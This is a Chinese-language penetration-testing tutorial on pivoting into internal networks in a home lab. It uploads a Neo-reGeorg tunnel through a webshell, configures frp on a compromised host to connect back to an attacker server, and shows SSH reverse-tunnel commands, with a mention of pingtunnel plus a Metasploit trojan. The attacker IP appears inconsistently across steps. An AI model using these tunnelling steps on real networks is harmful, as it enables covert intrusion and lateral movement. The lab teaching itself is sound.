【网安基础】--内网代理转发基本流程(正向与反向代理)

现在网安要求好像越来越高了 (but我也在进步) ,内网的知识又是重中之重,前两个月一次打靶场作复习的时候遇到内网用frp死活无法横向,加上这些时候面试也会被问到内网的问题,于是重整旗鼓打算再利用博客记录一下内网中一些步骤。代理转发算是基础了,就先从这个开始记录。

本文会简单讲解代理转发的概念,主要是通过正向和反向代理两个案例来说,实战中用得比较少且不太稳定的ssh反向连接等等就不一一写博客了

内网代理转发

内网代理转发深度解析:原理、类型与工具实战全指南

在网络安全渗透与运维管理中,内网代理转发是突破网络限制、实现跨网段访问的核心技术。它如同网络世界的"隐形桥梁",让数据在复杂网络环境中安全、高效传输。本文将从代理的基础概念出发,深入剖析各类代理的工作原理与核心特性,聚焦主流工具实战,帮助你全面掌握内网代理技术。

一、代理的核心概念与工作流程

什么是代理?

代理(Proxy)是位于客户端与目标服务端之间的中间转发节点/应用程序,本质是网络请求的"中转站"------接收客户端的网络请求后,以自身身份转发至目标服务端,再将服务端的响应结果回传至客户端,实现二者的间接网络交互。

核心作用

  • 隐藏身份:隔离客户端与目标服务端的直接连接,保护客户端真实IP地址不被暴露。
  • 缓存加速:对高频访问的静态资源(如网页、文件)进行本地缓存,后续相同请求无需转发至目标服务端,直接由代理返回,提升访问速度。
  • 访问控制:实时检测与过滤转发的请求/响应流量,拦截恶意请求,保障网络安全。

完整工作流程

  1. 客户端与代理服务器建立TCP连接;
  2. 客户端向代理发送包含目标服务器地址的请求;
  3. 代理解析请求内容,与目标服务器建立新的网络连接;
  4. 代理将客户端请求转发至目标服务器;
  5. 代理接收目标服务器的响应数据;
  6. 代理将响应转发给客户端(可根据配置进行缓存)。

二、代理的核心类型与协议原理

(一)按部署方向分类

1. 正向代理(Forward Proxy)
  • 定义:部署在客户端侧,为客户端提供服务的中间转发节点。客户端需主动配置代理信息(IP+端口/认证信息),由代理代替客户端向目标服务端发起网络请求。
  • 核心特点:代理对象为客户端,部署在客户端侧,客户端主动配置,目标服务端无法感知真实客户端。
  • 典型应用:访问境外受限资源(如Google)、对外隐藏客户端真实IP。
2. 反向代理(Reverse Proxy)
  • 定义:部署在服务端侧,为业务服务器集群提供服务的中间转发节点。服务端提前配置部署,客户端无感知代理存在,直接向代理发起请求,代理再根据规则转发至后端对应业务服务器。
  • 核心特点:代理对象为服务器,部署在服务端网关位置,客户端无感知,核心用于优化服务端架构。
  • 攻防典型应用:负载均衡(分发请求至多个后端服务器)、Web应用防火墙(WAF,拦截恶意请求)。

(二)按协议类型分类(含核心原理与特性)

1. HTTP/HTTPS 代理
  • 工作原理:客户端主动配置代理后,向代理发送包含目标服务端完整地址的HTTP请求。代理作为"应用层解析者",解包读取目标地址后,以自身身份向目标发起标准HTTP/HTTPS请求,再将响应按HTTP协议封装回传客户端。
  • 核心特性
    • HTTP代理:仅处理HTTP协议流量,可查看和修改请求内容;
    • HTTPS代理:通过CONNECT方法建立加密隧道,代理无法查看或修改加密流量,提供端到端安全保障。
2. SSH 代理
  • 工作原理:本质是通过SSH协议在「客户端」和「SSH代理节点(开启SSH服务的服务器/跳板机)」之间建立加密SSH隧道,并基于SSH端口转发实现流量中转。
  • 核心特性
    • 端到端强加密性:基于SSH协议的对称加密,隧道内所有流量均为密文,安全性极高;
    • 全协议适配:通过动态端口转发可搭建SOCKS5代理,支持所有基于TCP/UDP的上层协议(HTTP/HTTPS/SSH/MySQL/DNS/RDP等)。
  • 示例命令ssh -fN -L 8080:192.168.120.128:80 root@192.168.110.132(本地8080端口映射至目标服务器80端口)
3. TCP 代理
  • 工作原理:传输层通用型代理,核心依托TCP协议的面向连接特性实现转发,无应用层协议解析能力,仅做纯字节流转发。
  • 核心特性
    • 全协议适配:支持所有基于TCP的上层协议,可通过动态端口转发搭建SOCKS5代理;
    • 高可靠性:基于TCP的三次握手、重传机制,保障数据传输的完整性和有序性。
  • 代表工具:frp、nps、g3等。
4. UDP 代理
  • 工作原理:传输层通用代理,依托UDP协议的无连接特性实现流量中转,无应用层协议解析能力,仅做纯报文转发。
  • 核心特性
    • 高并发:无需建立和维护持久连接,通过临时映射表实现转发,支持高并发场景;
    • 无可靠性保障:不保证UDP报文的传输可靠性,报文可能因网络波动丢失、乱序,代理不做重传、确认或拥塞控制。
  • 代表工具:udp2raw-tunnel(可将UDP流量伪装为TCP/ICMP流量,突破UDP防火墙)
5. DNS 代理
  • 工作原理:通过DNS隧道技术,将其他协议的内容封装在DNS请求/响应包中传输。需使用独立子域名进行通信,避免影响主域名解析。
  • 核心特性
    • 高隐蔽性:流量伪装为正常DNS解析,无明显特征,普通防火墙/IDS仅检测端口和协议类型,无法识别隐藏流量;
    • 传输速率低:受DNS报文尺寸限制(UDP报文最大512字节),流量需拆分传输,且依赖DNS解析往返流程,速率极低。
  • 代表工具:dnscat2
6. ICMP 代理
  • 工作原理:利用ICMP Echo请求(ping请求)/Echo应答(ping响应)报文的Data数据载荷段,封装非ICMP流量,实现全协议流量中转。
  • 核心特性
    • 网络层通用:适配所有上层协议,无协议适配限制;
    • 无端口限制:封装后的流量为标准ICMP ping包,无特殊协议特征,易突破端口限制。
  • 代表工具:Pingtunnel

三、主流代理工具实战详解

(一)HTTP正向代理:Neo-reGeorg(内网机器不出网场景)

工具简介

Neo-reGeorg是轻量级HTTP/HTTPS隧道正向代理工具,是经典工具reGeorg的优化升级版。核心用于搭建基于Web服务的代理通道,实现请求中转、内网穿透或突破网络访问限制。其传输流量伪装成常规HTTP/HTTPS请求,隐蔽性极强,是网络运维、安全渗透领域的常用工具。

实验环境
  • 物理PC(客户端):192.168.70.0/24
  • kali-vm1(公网C2):192.168.110.128(VMnet1)
  • centos7-vm1(目标机):192.168.110.129(已获取webshell,存在PHP网站,VMnet1)
  • centos7-vm2(模拟内网):192.168.120.128(目标访问地址:http://192.168.120.128:80,VMnet2)
  • VMware网卡:
实战步骤

前置准备说明:因为均为靶场,本机,kali,centos7及其内网机本来就可以互通,所以为了模拟尽可能真实的内网,可以将本机的vm2网卡禁用。frp实验同理。确保本机无法直接访问内网vm2网段

  1. 工具准备与权限配置

    下载Neo-reGeorg工具并上传至kali,解压后赋予执行权限:
    cd /opt(进入上传完文件的目录下)
    chmod 777 -R Neo-reGeorg(加权限)

  2. 生成代理文件

    进入工具目录,生成带密码的代理文件(密码设为123):
    cd Neo-reGeorg/Neo-reGeorg-5.3.0
    python neoreg.py generate -k 123

    执行后生成多种语言的代理文件(tunnel.php、tunnel.jsp、tunnel.aspx等),选择与目标机Web服务匹配的文件(此处选tunnel.php)。

  3. 上传代理文件至目标机

    通过webshell将tunnel.php上传至目标机Web目录(如/var/www/html/inc/),访问http://192.168.110.129/inc/tunnel.php,确认文件上传成功。

    (一般一片空白代表可以访问,即上传成功)

  4. 启动代理服务端

    在kali上启动SOCKS5代理服务,配置本地映射IP和端口:
    python neoreg.py -k 123 -u http://192.168.110.129/tunnel.php -l 192.168.110.128 -p 4444

    参数说明:
    -k:连接密码(与生成文件时一致)
    -u:目标机上代理文件的URL
    -l:本地监听IP
    -p:本地监听端口

    启动成功后,将显示"Starting SOCKS5 server [192.168.110.128:4444]"。

  5. 本地配置代理并访问

    在物理PC的代理设置中,配置SOCKS5代理:

    • 代理服务器:192.168.110.131
    • 代理端口:4444
      配置完成后,访问http://192.168.120.128,即可通过代理穿透内网限制,成功访问目标服务。

(二)TCP反向代理:frp(机器出网场景)

工具简介

frp是专注于内网穿透的高性能反向代理应用,支持TCP、UDP、HTTP、HTTPS等多种协议,且支持P2P通信。可将内网服务通过具有公网IP节点的中转,以安全、便捷的方式暴露到公网,适用于机器能够出网但需反向穿透的场景。

实验环境

与Neo-reGeorg实验环境一致,目标访问地址:http://192.168.120.128:80

实战步骤
  1. 工具准备与服务端配置(kali侧)

    下载frp工具并上传至kali,解压后赋予执行权限:
    cd /opt/proxy
    chmod 777 -R frp

    进入frp服务端目录,修改配置文件frps.ini:
    [common]
    bind_port = 8443 # 服务端核心监听端口
    token = 123@123 # 客户端连接认证令牌
    dashboard_port = 12500 # 管理面板端口(可选)
    dashboard_user = 1512 # 管理面板用户名(可选)
    dashboard_pwd = 123@123 # 管理面板密码(可选)

  2. 启动frp服务端
    cd /opt/proxy/frp/frp_0.66.0_linux_amd64
    ./frps -c frps.ini

    启动成功后,将显示"frps started successfully",服务端开始监听8443端口。

  3. 客户端配置(centos目标机侧)

    将frp客户端文件上传至centos7目标机,解压并赋予执行权限:
    cd /opt
    chmod 777 -R frp

    修改客户端配置文件frpc.ini:
    [common]
    server_addr = 192.168.110.131 # 服务端(kali)IP地址
    server_port = 8443 # 服务端监听端口
    token = 123@123 # 与服务端一致的认证令牌
    [socks5]
    type = tcp # 代理类型
    plugin = socks5 # 指定socks5代理插件
    remote_port = 8082 # 服务端映射端口(外部访问端口)

  4. 启动frp客户端

    在centos目标机上启动客户端,连接服务端:
    cd /opt/frp
    ./frpc -c frpc.ini

    启动成功后,将显示"[socks5] start proxy success",表示客户端与服务端连接成功。

  5. 验证端口监听与访问

    在kali上查看监听端口状态,确认8082端口已正常监听:
    netstat -anpt | grep 8082

    在物理PC的代理设置中,配置SOCKS5代理:

    • 代理服务器:192.168.110.128
    • 代理端口:8082
      配置完成后,访问http://192.168.120.128,即可通过frp隧道成功访问内网服务。在kali服务端可实时查看访问日志,监控流量情况。

(三)其他常用工具简介

1. SSH反向代理
  • 适用场景:机器出网,但存在流量特征阻断(如TCP流量被拦截)。
  • 核心原理:通过SSH协议建立加密隧道,实现端口映射与流量中转,依托SSH的加密特性躲避检测。
  • 关键命令ssh -R 8888:127.0.0.1:22 -fN root@192.168.110.128(将centos的22端口映射到kali的8888端口),后续可通过ssh -D 0.0.0.0:10800 -fN root@127.0.0.1 -p 8888开启SOCKS5代理。
2. ICMP反向代理(pingtunnel&msf)
  • 适用场景:内网机器仅ICMP协议出网(如TCP/UDP端口被禁用)。
  • 核心原理:利用ping报文封装TCP/UDP流量,通过ICMP协议传输,突破网络限制。
  • 关键步骤:kali启动pingtunnel服务端,centos启动客户端建立隧道,配合msf生成木马并执行,获取meterpreter会话。

四、总结与注意事项

代理技术的核心价值在于"突破限制、安全中转",不同场景需选择适配的代理类型与工具:

  • 内网机器不出网:优先选择Neo-reGeorg(HTTP隧道,隐蔽性强);
  • 机器出网无限制:优先选择frp(高性能,多协议支持);
  • 存在流量阻断:选择SSH代理(加密特性)或ICMP代理(协议伪装);
  • 高隐蔽性需求:选择DNS代理(流量伪装为DNS解析)。

重要注意:本文所有技术仅用于合法的网络运维、安全测试与研究学习,请勿用于非法入侵、数据窃取等违规违法活动。遵守《网络安全法》等相关法律法规,是每个技术人的基本准则。

相关推荐
桌面运维家4 小时前
vDisk VOI/IDV权限管理怎么做?安全方案详解
安全
世界尽头与你4 小时前
(修复方案)kibana 未授权访问漏洞
安全·网络安全·渗透测试
梁辰兴4 小时前
计算机网络基础:TCP 的拥塞控制
tcp/ip·计算机网络·php·tcp·拥塞控制·计算机网络基础·梁辰兴
xixixi777775 小时前
今日 AI 、通信、安全行业前沿日报(2026 年 2 月 4 日,星期三)
大数据·人工智能·安全·ai·大模型·通信·卫星通信
蓝队云计算6 小时前
蓝队云部署OpenClaw深度指南:避坑、优化与安全配置,从能用做到好用
运维·安全·云计算
lingggggaaaa6 小时前
安全工具篇&Go魔改二开&Fscan扫描&FRP代理&特征消除&新增扩展&打乱HASH
学习·安全·web安全·网络安全·golang·哈希算法
Black蜡笔小新9 小时前
国密GB35114平台EasyGBS筑牢安防安全防线,GB28181/GB35114无缝接入
网络·安全·音视频·gb35114
2401_865854889 小时前
安全为先|咕噜分发平台:一站式App漏洞分析与安全分发解决方案
安全
科普体验馆9 小时前
VR安全体验馆深度测评:优质服务商与推荐厂家剖析
安全·vr